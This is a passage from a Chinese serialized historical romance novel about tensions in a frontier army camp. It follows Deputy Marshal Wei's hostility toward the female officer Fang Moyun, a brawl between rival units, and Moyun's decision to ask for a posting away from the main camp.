“爷爷，刚才我还说，爹爹只有军务，再无其他！”依妮看向元帅笑着说道：“其实也不尽然，不管我爹多忙，多不想搭理咱，只要茉云姨出马，顷刻能让爹从公务中抽身，那时在中州，就是大晚上我爹秉烛写奏折之时，茉云姨都能喝多了摔在院中指着我爹的房间，叫我小声点，那屋里住这个大老鹰，姓卢，他凶且恶！”
元帅顷刻被逗乐了，威行也想起了当年之事，乐得不行说道：“对，她还嚷嚷说那不是个好玩意，硬是半晚上将将军从房中吵了出来，气得暴青筋！刚也是，也就茉云有这个本事，能在大将军议事的时候，让他分心出来管她。”
依妮笑着看着元帅说：“对，所以昔日在中州之时，我就忽然觉得，我都不生气爹没空管我了，因为茉云姨更需要他管！”
众人的笑声此起彼伏，气氛轻松而热闹。然而，站在一旁的季岚，目光落在依妮身上，神情中透出几分若有所思的复杂，隐藏着某种忧虑。她自幼在京中官宦人家长大，自古女子若能干预朝政，军务的，皆不会有好下场……
依妮抬目便看见了走入了营帐的正啸，她眼珠一转带着几分揶揄的笑意看向正啸说：“爹爹不搭理我，就只搭理茉云姨！”
正啸闻言，目光中顷刻带着显而易见的怒意：“卢依妮，不得胡言！”
依妮被他突如其来的冷意震住，怔了一瞬，转头愣愣地望向父亲，原本带着戏谑的笑容瞬间收敛了几分。
正啸深吸了一口气，双眉紧皱地说道：“军营之中切不可胡言乱语！”
依妮沉默片刻，忽然仰起头，认真地问道：“可爹爹当真不觉得茉云姨好吗？”
她的语气如此直率，让原本平静的气氛顿时变得微妙起来。
正啸站在原地，脸上毫无波澜，声音低沉而决绝的说道：“军营之内，绝无私情，不得胡说八道！”
依妮嘴唇抿了抿，似乎想说什么，却最终没再开口，可是任谁都能看见她眼中的失落和不悦。元帅站在一旁瞪着正啸，正啸亦吸了口气，自己是不该当着众人面的斥责一年多才见一面得女儿的……
帐中原本轻松的氛围顿时凝固了几分，将军们和家眷们面面相觑，一时不知该如何化解。
就在气氛僵持的时候，茉云正好掀开帐帘走了进来，扫了一眼桌上众人的表情，视线落在依妮身上，挑眉问道：“怎么了？”
依妮干脆毫不遮掩地忿然说道：“我说爹看重你，爹说军中无私情，让我不要胡说八道！”
元帅闻言吃惊看向依妮，无奈的说：“依妮，你这丫头！”
随即，众人都抬眉瞥向茉云，似乎在等她的反应。
茉云故意长长地松了一口气，语气中透着几分调侃说道：“还好，听你这么说，我松了口气！你爷爷当着众人的面给了我一个六字军牌，搞得我颇为忐忑。毕竟单字号军牌之前都是你卢家人的，幸好你爹这人脑子还算清醒。”
依妮一愣，追问道：“为何？”
茉云坐下拿起筷子，一本正经地指着众人说：“哦，人家来投军为国效力，他们都只要卖命就行，到了我这里，老子还得卖身啊？而且一分钱没有，就一个字就把我卖了？哼，你爷爷这梦，做得可真美！”
这话一出，帐中顿时哄堂大笑，连周总教头都无语的笑了看向茉云。连元帅都摇头笑着说道：“这丫头，你怎么这么想呢！”
“我爹多好啊！”依妮亦笑得不行的说道，“武艺超群，威猛不凡，顶天立地，气吞山河！”
“你这丫头，你不能用打战的标准衡量，你以后选夫婿，就得选你沧海叔叔这种的，别人说你畅夏婶婶，出生低微，言行无状，胸无点墨，教不好儿女什么的，可你沧海叔就觉得她好，还打不还手，骂不还口！嫂子就是命好，沧海哥就是那种这世上最好的夫婿！”茉云指着沧海和畅夏一脸的敬佩的说道。
军中任谁都知道茉云素来尊敬沧海，可是如此甚赞沧海，威行他们都乐了，沧海一脸无语的望向她，畅夏则一脸不好意思的笑着挠挠头。
“最不济，像周总教头这种恶人吧，见谁都打骂，幸亏他发飙亚亚听不见，而且他至少不打亚亚！”茉云继续笑着评价道。
顿时周总教头瞪向茉云，众人哄堂大笑，威行笑得最厉害，周总教头对他就是一脚，周总教头素来是军中最严厉之人，谁敢如此取笑他。
此时依妮长叹一口气补了一句：“那这么说，完了，我爹更糟，一言不合就动手，特别是对您！”
众人更是笑得欢畅，茉云亦乐了不经意的看向正啸，谁知正啸亦看向她，两人顷刻间四目相触，茉云马上躲开了眼光。
若辰亦捕捉到了两人的目光，轻轻一笑，茉云本是如此，不论正啸陷入到什么困境，她都能轻易化解！
众人又恢复了轻松愉快的氛围，杯光交错之间，享受着这短暂的团聚。
欢乐的时光总是短暂。年节一过，军营便迅速从欢庆的氛围中抽离，投入到紧张的准备工作中。为了迎接西营的到来，将士们各司其职，整个军营内外都显得忙碌而有序。
茉云在送走依妮之后，便一直乖乖待在自己的营帐中养伤。每日里研习兵书，甚至碰到自己不懂的地方时，居然会虚心请教执礼，让执礼都有几分受宠若惊。她好似也多了一份刻意的回避，几乎不主动出现在正啸面前，而正啸亦因军务繁忙，无暇兼顾她。
与此同时，西营的军队在魏副帅的统领下，已经抵达了南关。魏副帅是西营的统帅，他品阶比正啸还要高，当年他是老卢帅一手提拔起来的得力干将，与卢帅昔日一起驰骋沙场，情同手足，后来被皇上任命为朝中副帅，统领西营。
魏副帅久居西营但威名远播，他的军队纪律严明，作风强悍，军中上下对他极为信服。
元帅一早便亲自站在营门迎接，目光远远望向西营军队的方向，魏副帅远远瞧见了卢帅，疾驰而来下马跪拜，元帅豪爽的大笑着将他一把拉起，老兄弟两人来了个热烈的拥抱都畅然而笑。
正啸抬目望向这纪律严明的西营军队，心中倒是欣慰，可是他也知道这次两军的合营，也是一次边关军的考验。
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而这份考验中，若能避免偏见与芥蒂凝成一股力，那将所向披靡，反之则军心动荡，后果不堪设想。
魏副帅此生最崇拜之人便是老卢帅，正啸是卢家老卢帅最看重的子孙，所以魏副帅在正啸小时候就对他极为看重，他欣慰的拍着正啸肩膀，顿时眼眶都有些红润，只因他在正啸眼中见到了老卢帅的影子。
“好！啸儿，颇有老卢帅的风范！”
“他啊，岂可跟咱爹相提并论！”元帅笑着谦虚的说道，“还不给你魏叔行礼！”
“魏副帅！”
“诶，这辈子你就叫我魏叔！”魏副帅豪爽的笑了说道，“来，你们这些小的们还不来拜见元帅和大将军！”
魏副帅旗下的诸位将军马上上前行礼，元帅顿时笑了一手扶起崔老将军，然后看向诸将说道：“都起来！”
崔老将军也是军中老人，他两年轻之时，就是老卢帅安排的让他两搭档，魏副帅性子急，崔老将军自入军就是个性子温吞稳重之人，也从来不计较得失。
“这老家伙总是这个德性，躲在后面！”魏副帅指着老崔笑着说道。
“元帅，一路随着魏副帅着急忙火的赶来，我这把老骨头都要颠没了！”老崔笑着说道。
“看着你两这互相打趣的样子，就好像回到了当年父帅跟前的样子！”元帅爽朗的笑了说道，“快，正啸，震北，沧海，营大军进营，好生安置，将士们一路都辛苦了！”
“是！”
“晚上边关设宴，为西营将士接风，让全营参军以上将领全部入我营帐！”元帅抬手豪迈的说道。
“是！”
众人忙了一日，晚膳之时元帅在营中设宴，为西营的到来接风洗尘。按照规矩，参军以上的将士皆入元帅的营帐用膳。
东山按照元帅的授意，亲自在营帐中忙碌的操持这，考虑到元帅对茉云的看重，他循例为她在营帐中也准备了一个坐席。
他见她还未来，便准备遣人去请她，却不料魏副帅在一旁冷冷开口，语气中带着明显的不屑：“方茉云是何人，她什么职务？何德何能，岂配踏进元帅营帐用膳？”
这一句话犹如平地惊雷，顿时让营帐内的气氛一滞。南关的将军都抬目望去，几位参将更是眼中闪过一丝不满，尤其是小马他们正好坐在末尾，听得一清二楚。
还好东山反应极快，立刻挥手叫住了那名去请茉云的士兵，沉声说道：“有劳你去传话，说茉云重伤在身，养伤为重，不宜饮酒，就无需辛劳赴宴了。”
言辞之间，巧妙地掩盖了魏副帅的刁难，也避免了茉云的尴尬。然而，帐中的尴尬气氛却难以轻易散去。
正啸原本正与西营将军们交谈，听到魏副帅的这一番话，眉头微不可察地皱了一下，执礼在他身旁，闻言深深吸了一口气，目光微微一沉，神色间隐隐带着担忧。
果然，他担忧的事情发生了——魏副帅此举，看似秉公行事，实则带着明显的下马威。他也许不仅是针对茉云的身份，更是试图通过她，立威于南关军。
而南关的诸将和茉云是何等交情，众人此时都不禁双眉微蹙，参将小马他们捏着筷子的手都在微微用力，眼中分明燃起一丝怒意，不过是碍于军中规矩，只能强行按捺下来。
元帅此时大笑着举杯，化解气氛：“诸位将领远道而来终需磨合，今晚我等先不谈军务，一心为众将士接风！来，喝一杯！”
他的声音洪亮有力，但话中的意图却再明显不过。魏副帅听罢畅然而笑，举杯饮尽，并未再多说什么。正啸面色如常，但心底却暗暗思量，这场合营不会那么简单。
执礼低头饮了一口酒和若辰相视一样，心中亦是警醒。方茉云素来锋芒毕露，绝不可能屈服低头。再加上过往与程家之过节，注定让她成为西营将士的众矢之的。这些老将若要发泄怨气，她将首当其冲。而茉云又怎么会坐以待毙，她如今在这军营也是一呼百应……
若辰深吸一口气，此时若斗起来，那么这场合营之局，怕是雪上加霜，正啸又能如何相护呢……
206.偏袒
翌日清晨的军务大会在营中召开，诸将依序落座，帐内气氛一片庄重而热烈，南营和西营的将领们配合默契，讨论着合营后的军务调度，一切显得和谐有序。
然而到了最后，魏副帅沉默片刻后，忽然开口，语气冷然：“军营乃重地，若有女子身居其中，实有不便。我建议，立即将方茉云驱逐出营。”
此言一出，帐中气氛骤然凝滞。南关的将领们纷纷露出惊愕的表情，难以置信地看向魏副帅。而西营的将领们，除了崔老将军神色如常，其余人皆透出隐隐的鄙夷之意。
见无人接话，魏副帅继续说道：“况且，据闻她之前曾勾结敌营大将军，甚至还迫使正啸私自调兵相救。此事朝廷虽不追究，但军中不可不引以为鉴。否则，恐再生变端，军心难安！”
这番话犹如投下一颗重磅炸弹，帐中一时窃窃私语不断。南关的将领们面露不满，眼中隐隐燃起怒火。
而执礼坐在一旁，眉头紧皱，起身说道：“启禀魏副帅，此事已有定论，并非……！”
魏副帅冷然的直接打断：“此女子之事，我有听闻，她生性乖张，一看便是不祥之人，善于蛊惑人心，还望元帅与大将军三思，切莫因一己之私误了军心！”
魏副帅的一番言辞，西营的将士们纷纷点头附和，显然早已对茉云心存不满。而南关的将领们则脸色愈发难看，尤其是威行和雄山，早已按捺不住，眼中充满愤怒，却因军中职级有别不敢贸然发声。
正啸坐在一旁，脸上看不出丝毫情绪，唯有微微攥紧的手，透露出他内心的隐忍与克制。
元帅捋着胡子看了看魏副帅，语气坚决地说道：“老魏啊，此事已有圣断，茉云留在军中并无不妥，昔日本帅夫人亦在军中为将，何况茉云为军中立下的战功有目共睹！”
“战功？”魏副帅冷笑一声，看向元帅才有几分恭敬的说，“元帅，她那些所谓的战功，不过是用来掩饰她过往的罪责罢了。就她这般出生低微，心思叵测之人岂可跟柳将军相提并论，难道您当真要容许这样的女子在军中，大战在即，您不怕影响军中军纪与士气？”
元帅深吸一口气，强压心中的不满，可终究未发一言，他亦在权衡，魏副帅刚入南营，自己也不好拨了他的颜面。
一场军务大会，气氛顿时紧张，南关与西营的分歧顷刻间明显。魏副帅的言辞犀利如此咄咄逼人，要将所有矛头直指方茉云。而南关的将领们自然满腔怒意，却碍于场合和军规，只能埋在心底。众人皆知，这场争锋之中暗藏了诸多复杂的情感与势力角逐。
茉云在军中早已感受到西关来的将士对自己的敌意，尽管她平日并未与他们有过正面冲突，但耳边时常传来对自己不敬的言论，只是她素来不在意这些流言蜚语……
这日，天气晴朗，春暖的阳光洒满了军营。茉云觉得肩上的伤势已经恢复了大半，便走向练武场想活动活动筋骨。她目光扫到一旁的红缨枪，回忆起当日正啸曾教过自己卢家军的枪法，顿时兴致盎然，随手挑了一杆枪练了一阵。
然而，她慢慢发觉军中的红缨枪对于她而言，显然太长，毕竟她的身高比男子矮小，施展起来总显得吃力些。
就在这时，一人从场边缓缓走了过来，语气中带着几分挑衅：“我听闻你武艺不凡，不如马上切磋较量一下!”
茉云回头一看，她并不认识西关诸将，不知道此人正是西关参将中的第一枪——边鸿远，只见他眉目间带着几分傲气。茉云自小便是打架来者不拒的性子，哪怕觉得他的态度来者不善，但她仍然点头应战：“请赐教。”
两人很快上马持枪对阵，边鸿远的枪法果然高超，起手便是一记凌厉的直刺，气势逼人。茉云凭借过人的反应挡下。
枪影交错间，茉云肩膀的旧伤隐隐作疼，动作逐渐显得吃力。她眉头微蹙，却依旧咬牙坚持着。然而边鸿远显然没有半分手下留情，每一招每一式都带着压制性的力量，似乎想将她完全压垮。
正在这时，场边周总教头大步走来，目光瞪向茉云，大声吼道：“住手！方茉云，你肩膀的伤还没好，胳膊不要了，给我立刻停下！”
茉云闻言无奈地停住了枪势，微微喘息着，抱拳说道：“多谢赐教。”
然而，边鸿远却毫无停手的意思，冷哼一声，长枪骤然扫出，直直将毫无防备的方茉云从马上挑了下去。茉云猝不及防，重重摔在了地上，尘土飞扬，场面顿时一片哗然。
西关的士兵立刻爆发出一阵奚落的欢呼声，仿佛见证了一场胜利。
边鸿远冷笑着看向她，眼中满是轻蔑：“听人说你武艺超群？”
他的所言所行如同一把利刃刺入了在场南关将士的胸膛。
“这分明是胜之不武！”威行和雄山站在人群中，眼中燃起愤怒的火焰，二话不说便要冲上去。
周总教头见状，立刻伸手一把拽住他们，低吼道：“冷静点！”
倒在地上的茉云，缓缓站起身抬头直直盯着边鸿远，目光瞬间变得冷厉而狠戾，丝毫没有表现出一分软弱。
“方茉云，你冷静点，西关将士刚来，此时制造事端，是要遭军法处置的！”周总教头立即上前低声拦在茉云和鸿远中间，皱眉看向茉云说道。
而边鸿远没有丝毫波澜的离开了练武场，边走边挑衅般地扬起嘴角，冷冷吐出一句：“废物。”
他的话音未落，远处赶来的石川眼中顿时燃起怒火，二话不说冲上前去，一把揪住边鸿远的衣领，低吼道：“你再说一遍！”
边鸿远冷笑一声眼中满是不屑，毫不客气地回怼：“还不服气？”
话音未落，石川扬起拳头直接挥了过去，两人瞬间扭打在一起。练武场顿时陷入混乱。边鸿远身边的西关将士见状，立刻围了上来。而石川这边，小马和其他南关的将士也迅速赶到，怒火中烧地加入了混战。
场面彻底失控，两拨人打得难分难解，尘土飞扬拳脚相加，嘈杂声回荡在整个练武场上空。
就在此时，一声震耳欲聋的怒吼响彻全场：“住手！”
那声音带着压迫性的威严，瞬间让所有人停下了动作，纷纷抬头望去，只见正啸脸色铁青的走进场中，目光如刀扫过每一个人。
“谁让你们在军营里动手的？”正啸低沉却带着怒意的声音，仿佛寒风般刺入每个人的心底。
“姐夫！是他先动手的！”边鸿远小声辩驳到。
“闭嘴，军营中以职务相称！”正啸顿时吼道，边鸿远愣了半刻，只因他是程将军收养的部下遗孤，所以正啸的发妻本是她的义姐，故而他自小称正啸便是姐夫。
场上一片寂静，正啸走到两拨人之间，气场强大得无人敢言。站在一旁的茉云，目光落在正啸的脸上，她深吸一口气，看见他的眼神中藏着一股压抑的暴怒。她忽然意识到，已经很久没有见到他如此愤怒的神情了。
正啸站定目光锐利地怒斥道：“军营是尔等撒野的地方吗？谁给你们的胆子！”
他的话如雷霆劈下一般，这般威严之下，无人敢回应。他忿然瞪向石川和边鸿远，冷冽得让两人不由得低下头，不敢与之对视。
茉云看着正啸的身影，他这份顷刻的暴怒，好似不仅是对这场对峙的不满，更仿佛是他焦灼情绪的爆发。这一刻，她忽然觉得，他的身影，似乎比以往更加难以靠近。
“来人，将他们押解！”
“是！”
“大将军，是……”威行上前要说明情况。
“闭嘴！”正啸愤怒的打断了威行的话，顿时众人看向正啸的神情都不敢再多说一词。
他再没有多余的话，转身离开，脚步沉重而威严。从头到尾，他始终都未曾看一眼茉云，茉云忍着隐隐作痛的肩膀，眼中闪过一丝复杂的情绪，但她很快收敛了所有表情，低头拍了拍身上的尘土，神色冷静得好似一切从未发生，只有眼中放出了寒光。
正啸走回自己的营帐，他闭上了眼，当时自己是远远亲眼看见了，茉云就这么被人毫无防备的一枪挑下马，狠狠地摔落在地，自己的拳头顷刻都攥得要碎了，根本抑制不
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了那一刻的愤怒……最终最后一刻的最后一丝理智浇醒了自己。
此时营帐外，传来卫兵的声音，元帅派人让他速去议事。他吸了口气强压下心中的怒火，起身朝元帅的营帐走去。
走到营帐外，他便听见魏副帅的声音从里头传出，夹杂着愤怒的拍桌声：“元帅，我早就说过！这贱人就是心思歹毒、挑拨离间的恶妇！留她在军中，迟早出事！”
正啸眉头一皱握紧了双拳，站在帐外努力克制自己怒气，而帐内又传来威行无法抑制的愤怒声音：“魏副帅，是那边鸿远先不依不饶，停手之时竟还出手伤人！他是又几斤几两，敢骂方茉云是废物？这打不是他自己找的吗！要不是方茉云受伤在身，他能讨得好？”
魏副帅顿时怒不可斥的吼道：“这女人在军中，本就是祸乱之源。鸿远不过是实话实说，这就是你们南营待我们西营将士的态度！”
帐内的争执渐渐激烈起来，元帅皱着眉头，却始终未出声表态，目光深沉望向营帐门。
正啸站在帐外听着里头的争论，他此刻只能压制眼神中翻腾的怒意，深吸了一口气，将胸中的烈火压制下去，抬脚走进营帐，身影威武而冷峻。营帐内的争论声戛然而止，所有人都转头看向他。
他目光沉冷地看向魏副帅与威行，最终落在元帅身上，声音低沉有力：“父帅！刚军中发生了些摩擦，先不论对错，卢家军中带头闹事者，依照军法，各二十军棍！”
他的话虽简短，却隐含着一股不容忽视的威压，将营帐内剑拔弩张的气氛压了下来。魏副帅抬头望向正啸那不容置疑的眼神，最终也没有再说什么，这场风似乎只是开始，而压抑的火药味却在每个人的心头越积越浓。
魏副帅愤怒的走出营帐，崔将军一直在他身边劝说，魏副帅顿时转头指着崔将军吼道：“你懂什么，我等西关将士在西关荒山野岭数十年，现在到了孩子们建功立业之时，大丈夫保家卫国，怎么能被此等妖孽如此打压，你看她身边之人从一个个衙役纷纷提拔为参将，而鸿远在西关兢兢业业十年，也才是个参将，我们不为他们争，谁为他们争！”
“老魏啊，元帅和正啸都是良帅，会知人善用！”
“那也要有表现的机会，卢家军岂容此等妖孽祸害！”
“老魏！”
“你不要再说了，你之前没听咱老嫂子程老夫人如何说此妖女的，我拼了这条老命，也要将她赶出南营！”魏副帅气急不容分说的吼道。
崔老将军长叹了一口气，他又怎么不了解这个老搭档呢，他素来最念旧，妻早亡再未娶，一生报效卢家军无儿无女，程老将军当年陨于西关，他就视程家子嗣如己出，也将自己亲手培养的所有西关军中年轻参将都视如子侄。
傍晚，茉云从老马口中得知了军营的处置结果时，神色平静，但目光却微微沉了几分。石川因在练武场动手被打了二十军棍，降为队长，直接被抬回营帐，人已打得昏迷不醒。小马等参与斗殴的南关将士也都挨了军棍处罚，每人十军棍，个个伤痕累累。
而西关将士，仅边鸿远同样被打了二十军棍，却并未受到任何其他处分。他的部下甚至毫发无损，依旧趾高气扬。场边的周总教头、威行、雄山两位将军，则因未能及时制止冲突，被罚了半月的饷银。
如此判罚，高下立判。南关将士特别是小马等人心中憋屈，愤愤不平，然而却不敢公然质疑，毕竟这是在大将军亲自判罚。
而茉云对这些议论置若罔闻，坐在营帐内，握着手中的军牌，目光沉静如水，眼底却暗藏波澜。
夜已深，正啸回自己营帐，寒夜的风冰冷而压抑，一路正啸都未再言语。执礼则深吸一口气看向正啸的背影，少主的这番苦心，一向心高气傲誓不低头的方茉云，能体谅？能受得了这番委屈吗？
正啸独自一人站在营帐内，望向苍穹，此刻星河滚烫，白日的清醒在这一刻瞬间破碎，他不禁望向茉云的营帐，在她这半生的泥泞黑暗之中，自己曾想给她所有的偏袒，奈何却化成了她此生最大的风雨……
207.懂事
翌日若辰匆匆赶到军营，显然，昨夜他接到消息后，天未亮便动身前来。步履匆忙，却依旧不失威仪，穿过营地迅速进入营帐。
此刻元帅也将正啸、震北等人召入了营帐，元帅坐在案前眉头紧锁，目光中透着沉思与不安，才一夜的功夫，军营里的已然是谣言四起。
元帅低沉地开口，声音中带着几分凝重:“若辰也来得正好，还有震北，啸儿！军中此等局面，你等商量商量，打算如何解决？”
震北深吸一口气看向正啸，而正啸站在桌前，神色冷峻缓缓地说道：“我打算调离方茉云，将她派去边关城镇，任守城之将。”
此话一出，帐内一片死寂，所有在场的人都不可置信地看向正啸，尤其是若辰和执礼！
正啸目光深处，却有一份压抑着隐忍和克制。让茉云离开战场前线，离开大营，又能带着驻军在边关安稳呆着，不受暗杀威胁，又不必冲锋陷阵，更不会在争斗中沉沦，便是此刻最好的选择。
若辰抬目望向正啸旋即说道：“以茉云在军中的地位和才能，何以如此处置？皇上下旨赐她入军效力，你却调她出营为守将，她颜面何存？她未有丝毫过错，这般处置是何缘由？”
任谁都知道若辰从不质疑正啸的决定，此刻执礼也深吸一口气说道：“少主！这是否从长计议，此时将茉云调离，岂不是让军中人觉得……将她当作弃子一般？诸将如何能接受……”
正啸的目光顿时冷如刀锋，声音低沉而坚定：“军令如山，不容置喙。谁说守将便是弃子！”
帐内顿时陷入一片沉默，元帅深深吸了一口气，他深知茉云在南关的威信，她若能披甲上阵定让卢家军如虎添翼。但众人也都知道，若西关将士与南关将士因此产生裂痕，那便是卢家军的灭顶之灾，得不偿失……
元帅叹了口气，目光复杂地说道：“那你打算派谁去劝？”
这句话再次让帐内陷入沉默。所有人都低头不语，谁又忍心去说赶走茉云的话。
正啸神色冷硬如山，丝毫没有动摇：“我亲自下令，不用谁去告知！”
元帅皱眉愤怒的看向正啸，忿然于他的无情，可是眼神中也透出对局势的无奈。
而就在此时，魏副帅未经通报，突然拨开营帐帘而入。他气势逼人的直接走到营帐中央，连礼节性的寒暄都省略了，显然对昨日正啸的处置不满，开口便强硬的质问：“元帅，方茉云挑拨指使之事，您到底是何态度？西营将士对她的不满，绝非是三言两语可以平息的！”
此言一出，帐内顿时安静下来，所有人的目光都转向魏副帅。元帅目光一凝，眉头微微皱起，但未开口。
魏副帅显然毫不打算停止，他声音愈发冷硬：“元帅，我早已言明，军营重地，不容女子搅扰！方茉云她必须离开！”
崔将军站在他身侧，神色复杂地拽了拽魏副帅的袖子，低声劝道：“副帅……”
然而魏副帅却毫不理会甩开了崔将军的手，反而语气更加咄咄逼人，冷笑道：“那石川不过是一个衙役出身，凭什么能入军？不过是因为与方茉云关系亲近罢了。他竟敢当着众人之面殴打守关十年，战功赫赫的边鸿远！这就是你们边关军的规矩？这如何服众？”
这番话如同一盆冰水，直接泼在了边关将士的头上。帐内的气氛顿时凝滞，众人都面露愤怒之色，攥紧拳头。
“魏副帅！”震北终于隐忍不住开口说道，“据我所知，边鸿远是在切磋停手之时，出手伤人，又辱骂人为废物。那这便是你西关军营的规矩吗？”
“震北！”元帅皱眉却并不愠怒说道，“不得对副帅无礼！”
魏副帅却冷哼一声，目光凌厉地说：“所以依你们的意思是，石川一个区区衙役，就有资格挑战边鸿远守关数十年的威望？看见没有？方茉云的存在，早已让军营乱象丛生，现在你们还要为她辩解？”
崔将军见状，再次试图劝阻他，压低声音说道：“老魏，慎言！”
“魏副帅，方茉云入军乃圣旨，你此言可是在质疑圣断？”若辰顿时抬目望向魏副帅，眼中的温润顷刻间消散。
魏副帅却猛地甩开崔将军的手，语气更加强硬：“圣断？那还不知道是谁迷惑了皇上？”
元帅终于忿然抬头，语气冷然喊道：“老魏！”
魏副帅咬牙神色微微一变，说道：“元帅，您若如此袒护，恐难以服众。”
“老魏，你是疯了吗？”顿时崔老将军忍无可忍的一把拉过魏副帅看着他说道。
“老程将军，走之前将儿女托付给我，现在女儿在卢家走了，一双儿子全毁了！”魏副帅再也忍无可忍的顷刻爆发道，“此时我还不在卢哥面前据理力争，死后我如何见老卢帅，如何见老程！”
帐内陷入短暂的沉默，气氛如同凝固了一般。南关之人面色各异，愤怒与压抑交织着，让空气中仿佛都充满了火药味，元帅则咬牙深吸一口气，崔将军低头叹了一口气，眼中都是无奈，他已是劝阻不住这位铁血之人一辈子最大的执念。
谁知就在此时，营帐的帘子被猛地拨开，一道身影迈步走进来，是茉云！她眉宇间带着疲惫，却没有一丝怯意，她目光冷冷的落在魏副帅身上，神色严峻。
“你来得正好！”魏副帅本已情绪难以自抑，见她出现顿时气急败坏，情绪失控的猛然拔出腰间的佩刀，怒吼道：“妖孽，我今日便舍了这条老命，为卢家军除害！”
话音未落，他手中刀已然出鞘，寒光一闪，刀锋直指茉云，众人惊愕不及，纷纷起身，却来不及阻拦。
就在这一瞬间，正啸毫无迟疑地上前一步将茉云拉至身后，直接抬手以自己的手臂挡住了魏副帅砍来的长刀。
“铛——”利刃划过盔甲发出一声刺耳的声音，锋刃狠狠擦过大将军的手背，鲜血瞬间染红了刀芒，正啸却纹丝未动。
“大胆！”震北将军怒吼一声，猛地站起身，指着魏副帅喝道：“你居然敢在元帅面前拔刀行凶！”
这一声喝斥犹如惊雷，震得帐内众人心头一震，而帐外等候的西关参将们都冲了进来。
“干什么！”震北顷刻间瞪向他们。
魏副帅的手微微一抖，似乎也意识到自己方才鲁莽的行为已然越矩。他神色僵硬怔了片刻后，手中的刀“哐当”一声落地，随后跪下身去，他的属下们也自然是跟着他跪了下来。
元帅缓缓站起身，目光沉沉地扫过魏副帅他们众人，随后转向正啸问道：“快去看看伤？”
正啸低头随意看了一眼自己的手背，鲜血顺着指尖滴落，但他神色依旧冷静，语气平稳
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的说：“无恙，不过皮外伤。”
而站在他身后的茉云，此刻却怔在原地，直直地看着正啸那护着自己的背影，自中州开始，他总会一瞬间的出现在自己身前……
顿时，她脑海中不断回忆起过往的一幕幕，还有刚才——那一道寒光之下，他也一分一毫的迟疑都没有，就挡住了自己。
魏副帅俯身叩首，握紧了拳头，默然无言。帐内顿时一片寂静，众人皆神色复杂，而茉云站在正啸身后，目光落在大将军手背上，鲜血一滴滴的落下，她吸了一口气，握紧了拳头，最终也什么都没有开口……
元帅疲惫地抬手，摆了摆头，低声说道：“茉云啊，你先行退下吧。”
茉云正要转身离开，正啸却忽然开口，语气低沉说道：“方茉云，等会儿。”
此话一出，营帐内的众人纷纷转头看向他，目光中满是惊讶，难道大将军要现在此时下军令，赶茉云出南营，若辰甚至忍不住出声阻止，喊道：“正啸——！”
正啸却深吸一口气，目光转向茉云，眼中交织着隐忍、克制、无奈与挣扎，那些深埋在冷静下的情感在翻腾，他直视着她，却实在不忍说出口。
茉云抬眉与他对视，她的眼神里带着无声地回应，好像在对正啸说，说啊，我等着你说出口！
两人就这样对视着，帐内的空气好似顷刻凝固，所有人屏息静气，等待着接下来的话语，然而，正啸却没能开口，他的手微微颤了一下，眼神中只剩下挣扎和无奈在交织。
就在这时，茉云忽然深吸了一口气，看向元帅，语气冷静却带着淡然：“元帅，我来此其实是有事想求您，将我外放南境关卡，任驻军守将。这军营夜黑风大，规矩甚多，我难以适应！”
她这番话一出，帐内的所有人都愣住了。元帅张了张嘴，显然想说什么却说不出口，震北都满脸诧异看向她，甚至连执礼都显得一时不知所措，众人目光中只剩下了不可置信——她居然会自请离营！
而正啸的眉头深深皱起，眼中流露出一瞬的震惊，接下来又变成了复杂的情绪。他却没有再说一字，只是深深地看向她。
那些原本对她心存敌意的西关将士，不明就里的听闻她自请离开，脸上皆浮现出胜利的笑意，神态中带着毫不掩饰的轻蔑和得意。
若辰却深吸一口气望向茉云，顿时情绪翻涌上了心头，就凭魏副帅这丧失理智的冲动鲁莽之状，他根本不是茉云的对手，何况茉云身边还有他们，她为何……
茉云却没有在意任何人的反应，握紧拳转身迈步走了，临走前只是淡然的看了正啸一眼，眼神中本来的忿然，不甘和狠戾，好似都冷然的散开。她头也不回地离开了营帐，背影却依旧挺直而坚决。
正啸深吸一口气，眼神顷刻间所有的克制和压抑都破碎了，自从中州与她相识，自己总斥责她盛气，胡闹，可这一刻一个从不会受委屈之人，忽然将这委屈咽下。在别人污蔑、嘲讽之下，她这突如其来的懂事，却让他如万箭穿心。
茉云从营帐走出，晌午的阳光如此炽烈，刺得人睁不开眼，她却没有躲避，反而微微仰起头，迎着那耀眼的光芒，目光穿过天际，落向整个南关的大营。片刻后，她微微垂下眼眸，将所有情绪藏匿在心底，再抬起头时，眼神已恢复了往日的锋利……
208.激辩
茉云将被调离南营的消息如疾风般迅速传遍了整个军营，西营将士个个春风得意，而南营的将军、参将们一个个听到消息后，皆神色震惊，愤怒与疑质都写在脸上，都是放下手中的事务，头也不回地朝大将军的营帐跑去。
营帐外聚集了所有南营将领，他们都是满腔疑问，最终跟着邹总教头推门而入。当他们踏入营帐的一瞬间，也被正啸的神情震住了。
他正站在案后身形如铁铸般挺直，他只是一语不发地站在那里，整个人笼罩在一种冷峻的沉默中。
众人怔住了，直到周总教头终于开口，语气中带着不可抑制的愤怒和困惑：“大将军，这到底是怎么回事？为何方茉云会被调离南营？”
其他将领纷纷望向正啸，目光显而易见的等待着一个合理的解释，最终是执礼长长叹了一口气，沉声说道：“是茉云……自请离开南营。”
此话一出，整个营帐陷入质疑声中，任谁都难以相信自己的耳朵。
周总教头猛然转头看向执礼不可置信的说道：“怎么可能？那丫头从小就是掉头都不会低头，何来自请离开之说？”
其他将领也纷纷看来，显然对这个答案表示怀疑。
周总教头紧锁眉头，语气中多了一分焦急：“大将军，到底是怎么回事？难道她受了什么胁迫，才会做出这样的决定？”
正啸终于缓缓抬起头，脸上依旧看似毫无波澜，但眼底深处却藏着一丝疲惫与隐忍：“方茉云自请离营，军中自有安排，无需再议。”
众将沉默了，目光复杂地看着正啸。他们既无法理解茉云为何会做出这样的决定，又难以接受正啸会答应让茉云离开南营。
帐内的气氛像压抑的雷云，沉甸甸地笼罩在每个人心头，而正啸的冷硬的却像是一道无法突破的屏障，将所有人都压制住了，但众人埋藏在心中的火却难以熄灭。
翌日，军中下发了军令，方茉云被提拔为校尉，驻守边防的县城南元县，此令一出，好像点爆了军中的各种情绪，方茉云入军以来一直没有定职级，如今只打发了一个校尉，而且是去这等举足轻重的县城驻守。
小马他们怒火中烧，南关将士亦都忿然，难道为了平息于西关将士的怒火，南关将士要如此妥协，立下如此功劳之人，竟然只派去守个边防小县城，这都不是大材小用了，简直是赤裸裸的羞辱。
更让众人愤怒的是，这几日西关将士在营中对茉云以及和茉云有牵连的军中人都是奚落与不屑，俨然一副胜利的姿态，自鸣得意。好似并不是茉云自请离营，是他们举起了“正义”的大刀，赶走了她似的。
